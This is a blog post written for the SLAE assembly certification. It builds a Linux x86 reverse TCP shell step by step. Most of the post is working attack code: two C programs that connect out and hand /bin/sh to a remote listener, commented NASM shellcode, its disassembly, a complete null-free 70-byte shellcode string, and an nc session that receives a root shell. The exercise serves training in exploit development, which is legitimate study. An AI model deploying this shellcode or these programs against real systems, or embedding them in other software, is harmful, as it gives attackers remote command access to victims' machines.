tcunha.github.io

The lesson of history is that no one learns.

SLAE 0x02: Reverse TCP Shell

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student-ID: SLAE-1154

Like the previous bind shell, this one is using the well known socket functions. Given that it is supposed to connect to a remote system, it needs to call the connect(2) function instead of accepting. There’s also no need of binding, since the kernel will automatically choose an ephemeral port and determine the source IP address.

connect(2) prototype
1
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

Just like bind(2), the second argument has to be manually packed with the IP address and port to connect to:

retrieving the system call number and constants
1
2
3
4
5
$ asm-syscall connect
#define __NR_connect 362
0x16a
$ python -c 'import socket; print socket.AF_INET'
2
+----------+--------------------+
| register |       value        |
+----------+--------------------+
| eax      | 362                |      +---------------------------------+ H
| ebx      | socket(2) fd       |      | IP address (network byte order) |
| ecx      | esp pointer        +-->>--+ port (network byte order)       |
| edx      | 16                 |      | AF_INET (2)                     |
+----------+--------------------+      +---------------------------------+ L
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <sys/types.h>
#include <sys/socket.h>

#include <arpa/inet.h>

#include <err.h>
#include <errno.h>
#include <limits.h>
#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
  char                    *exec_argv[] = { "/bin/sh", NULL };
  char                    *endptr;
  int                      fd;
  long                     port;
  struct sockaddr_in       sa;

  if (argc == 1)
      errx(1, "usage: host port");

  errno = 0;
  port = strtol(argv[2], &endptr, 10);
  if (*endptr != '\0')
      errx(1, "not a number");
  if (errno == ERANGE || (port <= 1024 || port >= 65536))
      errx(1, "port out of range");

  if ((fd = socket(PF_INET, SOCK_STREAM, 0)) == -1)
      err(1, "socket");

  bzero(&sa, sizeof sa);
  sa.sin_family = AF_INET;
  sa.sin_addr.s_addr = inet_addr(argv[1]);
  sa.sin_port = htons(port);

  if (connect(fd, (struct sockaddr *) &sa, sizeof sa) == -1)
      err(1, "connect");

  if (dup2(fd, STDIN_FILENO) == -1)
      err(1, "dup2");
  if (dup2(fd, STDOUT_FILENO) == -1)
      err(1, "dup2");
  if (dup2(fd, STDERR_FILENO) == -1)
      err(1, "dup2");

  execve(exec_argv[0], exec_argv, NULL);
  err(1, "execve");

  return (0);    /* NOTREACHED */
}

Again, one should just use getaddrinfo(3) instead. This has the advantage of also being protocol agnostic:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include <sys/types.h>
#include <sys/socket.h>

#include <err.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

int
reverse_try(struct addrinfo *p)
{
  int fd;

  if ((fd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
      warn("socket");
      return (-1);
  }
  if (connect(fd, p->ai_addr, p->ai_addrlen) == -1) {
      close(fd);
      warn("connect");
      return (-1);
  }

  return (fd);
}

int
main(int argc, char **argv)
{
  char            *exec_args[] = { "/bin/sh", NULL };
  int              ai_ret, fd;
  struct addrinfo  ai_hints;
  struct addrinfo *ai_ptr, *ai_srv;

  if (argc != 3)
      errx(1, "usage: host port");

  memset(&ai_hints, 0, sizeof ai_hints);
  ai_hints.ai_family = AF_UNSPEC;
  ai_hints.ai_socktype = SOCK_STREAM;

  if ((ai_ret = getaddrinfo(argv[1], argv[2], &ai_hints, &ai_srv)) == -1)
      errx(1, "getaddrinfo: %s", gai_strerror(ai_ret));
  for (ai_ptr = ai_srv; ai_ptr != NULL; ai_ptr = ai_ptr->ai_next) {
      if ((fd = reverse_try(ai_ptr)) != -1)
          break;
  }
  if (ai_ptr == NULL)
      errx(1, "failed to connect");
  freeaddrinfo(ai_srv);

  if (dup2(fd, STDIN_FILENO) == -1)
      err(1, "dup2");
  if (dup2(fd, STDOUT_FILENO) == -1)
      err(1, "dup2");
  if (dup2(fd, STDERR_FILENO) == -1)
      err(1, "dup2");

  execve(exec_args[0], exec_args, NULL);
  err(1, "execve");

  return (0);    /* NOTREACHED */
}

As for the commented shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
global _start

section .text
_start:
  xor eax, eax
  cdq                     ; set edx to zero as well, by sign extending eax

  mov ax, 0x167           ; use mov instead of push imm16 and pop r16
  ; int socket(int, int, int)
  push 0x2                ; PF_INET
  pop ebx                 ; domain
  push 0x1                ; SOCK_STREAM
  pop ecx                 ; type
  ; edx (protocol) initialized to zero by the cdq instruction above
  int 0x80

  xchg ebx, eax           ; fd on ebx from this point below
  mov ax, 0x16a           ; use mov instead of push imm16 and pop r16
  ; int connect(int, const struct sockaddr *, socklen_t)
  push HOST               ; host in network byte order
  push word PORT          ; port in network byte order
  push word 0x2           ; AF_INET
  mov ecx, esp            ; addr
  push 0x10               ; 16 bytes in total
  pop edx                 ; addrlen
  int 0x80

  push 0x2
  pop ecx                 ; newfd
bind_dup2_loop:
  push 0x3f
  ; int dup2(int, int)
  pop eax 
  int 0x80
  dec ecx
  jns bind_dup2_loop      ; don't jump if ecx is positive

  cdq                     ; eax is zero from the dup2(2) above (stdin fd)
  push eax                ; to null terminate the filename
  push 0xb
  ; int execve(const char *, char *const [], char *const [])
  pop eax
  push 0x68732f6e         ; n/sh
  push 0x69622f2f         ; //bi
  mov ebx, esp            ; filename
  inc ecx                 ; ecx (argv) is 0xffffffff from the above dup(2)
  ; edx is already zero
  int 0x80

To define the remote host and port, like with the bind shell, the configure script should be used with the -h (127.1.1.1 by default) and -r (4242/tcp by default) command-line options:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
$ ./configure -h 127.2.2.2 -r 1337
Using remote host: 0x0202027f
Using listening port: 0x9210
Using remote port: 0x3905
$ ./configure -h 127.0.0.1 -r 1337
Host contains NUL bytes!
$ ./configure -h 127.3.3.3 -r 1280
Port contains NUL bytes!
$ ./configure
Using remote host: 0x0101017f
Using listening port: 0x9210
Using remote port: 0x9210
$ cd 0x02-reverse/
$ make
nasm  -f elf32 -o reverse.o reverse.asm
ld -N -zexecstack -o reverse reverse.o
08048060 <_start>:
 8048060:       31 c0                   xor    eax,eax
 8048062:       99                      cdq
 8048063:       66 b8 67 01             mov    ax,0x167
 8048067:       6a 02                   push   0x2
 8048069:       5b                      pop    ebx
 804806a:       6a 01                   push   0x1
 804806c:       59                      pop    ecx
 804806d:       cd 80                   int    0x80
 804806f:       93                      xchg   ebx,eax
 8048070:       66 b8 6a 01             mov    ax,0x16a
 8048074:       68 7f 01 01 01          push   0x101017f
 8048079:       66 68 10 92             pushw  0x9210
 804807d:       66 6a 02                pushw  0x2
 8048080:       89 e1                   mov    ecx,esp
 8048082:       6a 10                   push   0x10
 8048084:       5a                      pop    edx
 8048085:       cd 80                   int    0x80
 8048087:       6a 02                   push   0x2
 8048089:       59                      pop    ecx

0804808a <bind_dup2_loop>:
 804808a:       6a 3f                   push   0x3f
 804808c:       58                      pop    eax
 804808d:       cd 80                   int    0x80
 804808f:       49                      dec    ecx
 8048090:       79 f8                   jns    804808a <bind_dup2_loop>
 8048092:       99                      cdq
 8048093:       50                      push   eax
 8048094:       6a 0b                   push   0xb
 8048096:       58                      pop    eax
 8048097:       68 6e 2f 73 68          push   0x68732f6e
 804809c:       68 2f 2f 62 69          push   0x69622f2f
 80480a1:       89 e3                   mov    ebx,esp
 80480a3:       41                      inc    ecx
 80480a4:       cd 80                   int    0x80
Shellcode size: 70
\x31\xc0\x99\x66\xb8\x67\x01\x6a\x02\x5b\x6a\x01\x59\xcd\x80\x93\x66\xb8\x6a\x01\x68\x7f\x01\x01\x01\x66\x68\x10\x92\x66\x6a\x02\x89\xe1\x6a\x10\x5a\xcd\x80\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x99\x50\x6a\x0b\x58\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x41\xcd\x80
cc -DSHELLCODE=`asm-opcodes reverse` -W -Wall -fno-stack-protector -zexecstack -o shellcode ../skel.c
1
2
3
4
5
6
7
$ nc -lv 127.1.1.1 4242
Listening on [127.1.1.1] (family 0, port 4242)
Connection from localhost 38844 received!
id
uid=0(root) gid=0(root) groups=0(root)
# ./shellcode
Shellcode length: 70
1
2
3
4
5
6
7
8
9
10
11
# make strace
Shellcode length: 70
# head -n35 reverse.strace
execve("./shellcode", ["./shellcode"], [/* 24 vars */]) = 0
write(1, "Shellcode length: 70\n", 21)  = 21
socket(AF_INET, SOCK_STREAM, IPPROTO_IP) = 3
connect(3, {sa_family=AF_INET, sin_port=htons(4242), sin_addr=inet_addr("127.1.1.1")}, 16) = 0
dup2(3, 2)                              = 2
dup2(3, 1)                              = 1
dup2(3, 0)                              = 0
execve("//bin/sh", NULL, NULL)          = 0